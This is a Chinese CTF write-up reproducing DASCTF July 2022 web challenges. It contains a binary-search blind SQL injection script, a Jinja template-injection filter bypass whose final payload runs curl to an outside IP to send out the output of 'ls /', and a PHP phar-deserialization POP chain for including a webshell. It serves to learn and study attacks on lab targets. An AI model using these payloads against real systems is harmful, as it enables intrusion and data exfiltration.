这次七月dasctf对于我这种小菜鸡来说属实坐牢了,确实还得练啊,比赛结束就坐等官方wp,利用官方的wp来复现我所了解知识范围内的题目,也算是对我所学的知识的巩固和提升。
这个赛题做出来的师傅算是比较少,复现之后感觉难点就是寻找注入点和绕过waf。看了官方wp是利用jsfinder工具来查找web接口。那这个工具到底是什么?
它是github上的开源工具,这款工具功能就是查找隐藏在js文件中的api接口和敏感目录,以及一些子 域名。是一款强大的渗透工具(信息收集)
查看题目网站源代码,有许多js文件,那么就可以用这个工具寻找一下可用的web接口。

这个工具适用于python3版本,在这里我们发现有个SUPPERAPI.php文件,访问这个文件,查看源代码。
- function check(){
- var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
- if (reg.test(getQueryVariable("id"))) {
- alert("提示:您输入的信息含有非法字符!");
- window.location.href = "/"
- }
- }
这里通过id传参,然后前端过滤掉这么多字符,给id传1和2,分别为admin和flag。测试几次发现前端过滤的死死的,后端也过滤了if,union等函数。这里我们使用sql盲注,比如写一个payload为
id=1 and ascii(substr((select database()),1,1))>1
看这个语句基本上就返回id=1,也就是admin,但是页面永远都是

还是前端限制没绕过,其实也不需要绕过,我们利用python提交payload就会发现语句是被正常执行了的。
- import requests
- import re
- import time
-
- url = 'http://c8f02a34-d6ba-4008-8b04-e5192f62474d.node4.buuoj.cn:81/SUPPERAPI.php?'
-
- data = "id=1 and ascii(substr((select password from users where id=2),1,1))>1"
-
- res = requests.get(url+data)
-
- print(res.text)
-
- print(len(res.text))
运行脚本发现admin被正常输出出来了。
那么就是说,我们可以利用返回包的长度或者关键词admin作为盲注判断的依据。
剩下的就是编写脚本,用枚举法是最简单的,但是速度确实最慢的,没有个几分钟是跑不出来的,这次要学习的就是二分法盲注,让目标元素与临界值的中间元素进行比较,了解更多可以看这篇师傅的文章:(二分法盲注_hui________的博客-CSDN博客_二分法注入)我不再赘述。那么上下的就是编写脚本了。
- import re
- import requests
- import time
-
- url = "http://d360d124-6b20-4866-a2fe-8b80683c209c.node4.buuoj.cn:81/SUPPERAPI.php?"
- payload = f"id=1 and ascii(substr((select database()),1,1))>127"
- res = ''
-
- for i in range(50):
- low = 32
- high = 127
- while(low <= high):
- mid = (high + low) //2
- print(low, mid, high)
- payload = "id=1 and ascii(substr((select password from users where id=2),{0},1))>{1}".format(i,mid)
- print(payload)
- re = requests.get(url + payload)
- #print(response.text)
- if 'admin' in re.text:
- low = mid + 1
- else:
- high = mid - 1
- print("[+]:",low, res)
- time.sleep(1)
- res += chr(low)
- print("[+]:",low, res)
- print(res)
从一个大佬脚本上改了一点,大佬文章:(DASCTF2022.07赋能赛 部分WriteUp | CN-SEC 中文网)
这个题目打开输入名字进行年龄测试,

在比赛时都没想过是模板注入题,之前的思想太过于固化,总是以为查询,参数提交等这类型的题目都是sql注入,这次考察模板注入但是也过滤了好多东西,比如}}, {{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem,class,base等等,凡是构造payload所用到的都被过滤了。我们先看一个正常无过滤的简单payload:
{{"".__class__.__base__.__subclass__()[]}}
针对被过滤的东西进行了一个bypass
- {{被过滤了:{%print ...%} 或者 {%if ....%}..{%endif..%}
- 一些魔术方法被过滤:利用unicode编码配合attr过滤器进行bypass
- 过滤了.:利用attr过滤器,比如"".__class__等价于""|attr("__class__")
- 过滤了[:引入__getitem__来调用字典中的键值,例如a['b']等价于a.__getitem__('b')
因为print被过滤,所以{%print..%}用不了,只能用第二种。这一种语法类似于if条件分支。

但是这只能判断if条件里的语句是否正确,不能够回显执行的结果。我们最终利用外带的方式将执行结果带出来。我们最终想用的payload为
- {%if("".__class__.__base__.__subclasses__()[下标].__init__.__globals__.['popen'].(执行命令)
- .read())%}123{%endif%}
过滤点和中括号后
- {%if(""|attr("__class__")|attr("__base__")|attr("__getitem__")(0)|attr("__subclasses__")
-
- ()|attr("__getitem__")(下标)|attr("__init__")|attr("__globals__")|attr("__getitem__")
-
- ("popen")(执行命令)|attr("read")())%}123{%endif%}
现在关键的就是找到有popen的子类,我们可以利用python脚本来跑。那么payload为
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(下标)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}123{%endif%}
抓包post传参nickname,编写脚本遍历:
- import requests
-
- url = 'http://3e743ef2-9f39-4f3d-9960-fe1f103385e9.node4.buuoj.cn:81/'
- headers = {
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0'
- }
- for i in range(300):
- data = {
- "nickname": '{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}123{%endif%}'
- }
- r = requests.post(url=url,data=data,headers=headers).text
- if '123' in r:
- print("找到了")
- print(i)
- exit(0)
跑出来132,那么下标就为133了。找到了利用popen的类,最后一步就是执行命令了,官方wp利用vps开启监听将数据外带出来,之前一直没有用过,尝试外带失败。之后利用在线dns网站尝试dnslog外带也以失败告终。外带数据之后补一下坑,在今天先放一放。最后写下官方wp外带数据的payload。
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"
这个题目就主要复习一下ssti的bypass。
比赛方还挺人性化,搞了个非预期,直接搜索/flag就得出flag了。但是细看官方的预期解,涉及到的知识点也非常的多。
通过网站的搜索功能,我们可以把当前页面的源码给扒下来,抓包查看当前文件是file.php,传参file.php得到源码。发现file.php包含了class.php,也给它扒下来。得到两个文件的源码分别为file.php:
- error_reporting(0);
- session_start();
- require_once('class.php');
- $filename = $_GET['f'];
- $show = new Show($filename);
- $show->show();
- ?>
class.php(重点):
- class Upload {
- public $f;
- public $fname;
- public $fsize;
- function __construct(){
- $this->f = $_FILES;
- }
- function savefile() {
- $fname = md5($this->f["file"]["name"]).".png";
- if(file_exists('./upload/'.$fname)) {
- @unlink('./upload/'.$fname);
- }
- move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
- echo "upload success! :D";
- }
- function __toString(){
- $cont = $this->fname;
- $size = $this->fsize;
- echo $cont->$size;
- return 'this_is_upload';
- }
- function uploadfile() {
- if($this->file_check()) {
- $this->savefile();
- }
- }
- function file_check() {
- $allowed_types = array("png");
- $temp = explode(".",$this->f["file"]["name"]);
- $extension = end($temp);
- if(empty($extension)) {
- echo "what are you uploaded? :0";
- return false;
- }
- else{
- if(in_array($extension,$allowed_types)) {
- $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
- $f = file_get_contents($this->f["file"]["tmp_name"]);
- if(preg_match_all($filter,$f)){
- echo 'what are you doing!! :C';
- return false;
- }
- return true;
- }
- else {
- echo 'png onlyyy! XP';
- return false;
- }
- }
- }
- }
- class Show{
- public $source;
- public function __construct($fname)
- {
- $this->source = $fname;
- }
- public function show()
- {
- if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
- die('illegal fname :P');
- } else {
- echo file_get_contents($this->source);
- $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
- echo "
{$src} />"; - }
-
- }
- function __get($name)
- {
- $this->ok($name);
- }
- public function __call($name, $arguments)
- {
- if(end($arguments)=='phpinfo'){
- phpinfo();
- }else{
- $this->backdoor(end($arguments));
- }
- return $name;
- }
- public function backdoor($door){
- include($door);
- echo "hacked!!";
- }
- public function __wakeup()
- {
- if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
- die("illegal fname XD");
- }
- }
- }
- class Test{
- public $str;
- public function __construct(){
- $this->str="It's works";
- }
- public function __destruct()
- {
- echo $this->str;
- }
- }
- ?>
看到源码就不难解释搜索/flag可以出来flag了。f参数传入的内容作为赋值为show类的source属性,然后调用show()方法,最后调用file_get_contents($this->source);进行文件读取。当然,这只是非预期,如果file_get_contents函数没有权限读取flag又该怎么做?
审计class.php,有一个upload类,这个类主要实现的就是网站的上传功能,限制上传的后缀为png格式,并且还对里面的内容进行了检查,不能出现以下字符串。
- if(in_array($extension,$allowed_types)) {
- $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
- $f = file_get_contents($this->f["file"]["tmp_name"]);
- if(preg_match_all($filter,$f)){
- echo 'what are you doing!! :C';
- return false;
- }
show类主要实现网站的搜索功能,这里的魔术方法也比较多,第一应该想到的就是利用php反序列化来进行攻击。但是这两个文件都是没有unserialize函数,这时候我们可以利用phar反序列化来绕过这个限制,正好show类中没有过滤掉phar伪协议。但是在upload类中对上传文件内容进行了严格的过滤,这里上传gzip压缩后的phar文件可以绕过内容检测。(用gzip压缩后,phar文件的文件头也会被压缩,标志不存在了,那么进行内容检测时就不会把它当作phar文件来检测,它面对的只是一堆乱码,自然可以绕过限制,当然phar伪协议仍然可以解析phar文件)
那么接下来找漏洞利用点,仔细看show类里有一个backdoor方法使用了include包含,我们可以让它包含我们的session临时文件,上传一个含有webshell的临时文件。
那么构造pop链:
首先起点就是test类的__destruct方法,有echo输出,str实例化upload类调用__tostring。

这里可以调用任意类的任意方法 ,可以将this->fname赋值为Show类,把$this->fsize赋值为想要包含的文件的文件名。这样可以触发show类的__get方法,为什么要赋值为文件名,因为这样调用__get方法参数就为fsize属性。

这里调用show类不存在的ok方法。自动调用__call函数,fsize属性就传递为arguments。这里就调用了backdoor方法,成功包含文件名。

那么就开始编写pop链
- class Upload{
- public $f;
- public $fname;
- public $fsize;
- }
- class Show{
- public $source;
- }
- class Test{
- public $str;
- }
- $a = new Upload();
- $b = new Show();
- $c = new Test();
- $c->str = $a;
- $a->fname = $b;
- $a->fszie = "/tmp/sess_chaaa";//固定前缀sess_
- //phar压缩:
- $phar = new Phar("shell.phar");
- $phar->startBuffering();
- $phar->setStub("");
- $phar->setMetadata($c); //把我们构造的pop链的内容放进去
- $phar->addFromString("test.txt", "test");
- $phar->stopBuffering();
- ?>
本地生成了shell.phar,里面的内容确实被序列化了。

那么把它压缩并修改png上传。因为临时文件可能会被删除掉,所以编写多线程脚本进行上传和包含。白嫖官方的脚本,目前看不懂。
相关文章:(浅析Phar反序列化 - FreeBuf网络安全行业门户)
(详解利用session进行文件包含_合天网安实验室的博客-CSDN博客_session文件包含)
剩下一个web题不在能力范围内,复现并不代表会了,它能暴露出我所学知识的短板,在今后可以花时间来弥补这些不足。